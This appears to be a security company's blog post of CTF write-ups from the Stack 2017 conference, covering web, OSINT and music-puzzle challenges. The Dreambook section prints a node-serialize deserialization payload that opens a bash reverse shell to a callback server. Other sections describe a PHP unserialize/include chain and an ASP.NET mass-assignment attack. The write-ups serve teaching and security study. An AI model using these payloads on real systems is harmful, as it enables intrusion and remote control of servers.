New release : CTI Report - Pharmaceutical and drug manufacturing 

                 Download now

Stack 2017

Stack 2017

As in previous years, some Intrinsec attendees traveled to Bordeaux for a weekend for the conference Stack 2017 and the CTF that followed.

The first team secured second place after leading the competition for much of the night. The second team finished in fifth place.

We thank the conference speakers, organizers and sponsors of this event which we enjoyed.

A little late, but here are the write-ups from some of the tests.

Dreambook

This is a Node.js web application. We identified the original source code in an online tutorial, and after testing it, we noticed a major difference: a cookie. profile additional which contains base64-encoded JSON.

We can trigger an error by modifying it for an invalid JSON:

This verbose error reveals the fact that the module node-serialize is used to parse the JSON. The keyword serialize This inevitably attracts attention, and it is quickly identified online that this node.js module is vulnerable in a similar way to... unserialize of PHP or Pickle of Python. Unlike the others, it is possible to directly serialize code using a specific syntax, resulting in the following payload:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP_SERVEUR_CALLBACK/80 0>&1\"')}()"}

We obtain a reverse shell on our server; all that remains is to extract the flag:

Web Page Tester

This is a PHP web application for which the source code was provided. We quickly identified some interesting and potentially dangerous functions: include, unserialize, shell_exec.

THE unserialize In index.php takes the value of a cookie as input:

else if(isset($_COOKIE['datas'])){ $datas = unserialize(base64_decode($_COOKIE['datas'])); if(!is_array($datas)) die("Are you trying to hack me???"); $login = $datas["login"]; $password = $datas["password"]; $user = New User($login,$password);

Therefore, a cookie needs to be sent. data with a serialized PHP array encoded in base64. The contents of this array are then passed to the constructor of User which simply stores the login and the password in the object's attributes.

We note that in the following index.php, Whether the identifiers are correct or not, the method htmlentities will be called on the object User :

if(isset($user)){ if($user-&gt;login()){ echo &quot;"<h4>Hello &quot;.htmlentities($user).&quot;"</h4>"&quot;; echo New File(&quot;pages/curl.php&quot;); } else { echo htmlentities($user).&quot; bad auth&quot;;

This will trigger the method __toString which is overloaded to return the value of login, if the login is an object in turn its method __toString will be called.

This is interesting because in the classroom File we have the method __toString() who calls include on the attribute path which can be defined by its constructor:

class File{ private $path; function __construct($path){ $this->path = $path; } function __toString(){ include($this->path); return ""; } }

Other file of interest: curl.php that it was not possible to call directly due to a .htaccess but which is within our reach via the’include :

$url = $_POST['url'] ?? null; if($url) { $good_chars ="0123456789abcdefghijklmnopqrstuvwxyz.-/?=:"; $blacklist = array('127.0.0.1','localhost',$GLOBALS["management_ip"]); if(!in_array($url,$blacklist)){ $url_escaped = ""; for($i=0;$i  &1"); } else die('Blacklisted'); }

A blacklist prevents the trivial injection of commands shell We'll manage without it; what interests us is file:///flag/flag.txt (as seen in the file admin/admin.php).

We have all the required elements, here's how to prepare our payload in PHP:

path = $path; } } $user = Array( "login" => new File("pages/curl.php"), "password" => "foo" ); $payload = base64_encode(serialize($user)); echo $payload; ?>

And here is the request we send with our previous payload:

Flag acquisition:

Terrorist attack

The challenge tells us the fictional story of a terrorist preparing an attack who left only the following message; it is our task to discover the GPS coordinates of his target:

Either you are lucky enough to have a #avgeek on your team, or you search on the Internet for a few keywords like LFBI: air code for Poitiers airport, and then you better understand the meaning of “departure” and “cruise”.

Our terrorist therefore takes off from Poitiers airport (LFBI) in an F172 aircraft on April 7, 2017 at 16:00 UTC.

He then predicted an impact at 4:09 PM (so not very far off) on a target indicated by two dots. VOR (radio positioning system). All that remains is to produce the lower-space cruise chart provided by the French Aeronautical Information Service.

We identify the VOR points on the map:

  • A point of interest (POI) transmits on the 113.3 MHz frequency. From this point, a straight line is drawn at an angle of 116° (with 0° = North and 90° = East). This angle can be drawn using layer rotation in GIMP or with a protractor pasted onto the map. 🙂
  • LCA which transmits on the frequency 112.1 MHz, from which a straight line is drawn oriented at an angle of 257°

The following diagram is obtained:

A circular area P2 is identified; after several searches, the’Order of 3 March 2010 establishing a prohibited zone identified as LF-P 2 above the Civaux nuclear site (Vienne).

We obtained precise GPS coordinates, but they didn't match the flag. We had to remember the initial objective: to find the terrorist's target. It became clear that it was the nuclear power plant, whose coordinates were on Wikipedia: we had the flag!

AI Rating Game

This is an ASP.NET web application for which the source code was provided.

The goal is to vote for the presented artificial intelligences and give a good rating (5 stars) to good AIs and a bad rating to bad AIs in order to influence the average to exceed 50%.

Upon auditing the code, the first identified flaw is the ability to give zero stars to poor AIs, while the interface only allows one star for the worst. Unfortunately, negative ratings are not accepted, and even by assigning five stars to good AIs and zero to bad ones, the system approaches, but does not exceed, the 50% threshold.

Therefore, another vulnerability must be found.

The application allows users to vote once and then update their vote, but does not allow double voting. Here is the code that handles the POST method for creating a vote:

[HttpPost] //[Route("rate")] public async Task Rate(Rate rate) { if (ModelState.IsValid) { try { if (!(await _context.Rates.AnyAsync(r => r.AIID == rate.AIID && r.UserName == HttpContext.Session.Id))) { rate.UserName = HttpContext.Session.Id; _context.Add(rate); await _context.SaveChangesAsync(); return Ok(); } else { ModelState.AddModelError("", "You have already voted, try update your vote"); } }

We note that each AI already has recorded notes, associated with other users with UserName equal to SessionID. However, each instance of the challenge is associated with the player's session, so it is not possible to create a second session to vote twice.

Here is the code that handles the PUT method for changing a vote:

// https://docs.microsoft.com/en-us/aspnet/core/data/ef-mvc/crud#update-the-edit-page [HttpPut] //[Route("rate/{id}")] public async Task Rate([FromRoute] int id, Rate rate) { if (ModelState.IsValid) { try { var rateToUpdate = await _context.Rates.FirstOrDefaultAsync(r => r.ID == id && r.UserName == HttpContext.Session.Id); if (await TryUpdateModelAsync(rateToUpdate)) { await _context.SaveChangesAsync(); return Ok(); } }

When we edit our vote, we observe that only the parameter RateValue has passed, but it is an attribute of the class Missed and the previous method does not take any parameters RateValue but rather an object Missed The framework automatically creates the object from the parameter passed. We have a case of a vulnerability known as... mass assignment : we can define any attribute of Missed by adding a parameter with the correct name. We manipulate the parameters RateValue, ID (vote identifier), AIID (AI identifier) and UserName to generate votes from other users.

In the end, we manage to tip the scales in favor of good and we are rewarded with the flag:

Piano

This test consists of a 5-minute video file. We have a score and a sheet (which is zoomed in on at the beginning of the video) containing numbers, followed by "piano" and "score".We quickly realize that the soundtrack doesn't match what's being played; it's actually several excerpts from Beethoven pieces. We use Shazam to identify them all and see that their opus numbers correspond to valid decimal ASCII codes, and therefore letters. We put them back in the order shown on the sheet and have the beginning of the flag; only two characters are missing.

The indication "piano" corresponds to the Beethoven piece actually played and heard at the beginning: you must especially look at the chords and identify the absence of black keys and therefore the key of C major, then search for Beethoven's piano pieces in this key, with a coherent opus number (ASCII code): sonata for piano no 21 in C major, opus 53. So we have opus 53, which is the ASCII character '5'.

The indication "score" corresponds to the piece by Beethoven whose score is present on the piano, it is necessary to identify again the key of C major thanks to the absence of key signature (however this could also have indicated a C minor) then find that it corresponds to the same sonata (the author was therefore playing the score) hence again the character '5'.

By combining all of this, we get the flag. Thanks to Estelle for her expert advice during this event!

 

— Clément Notin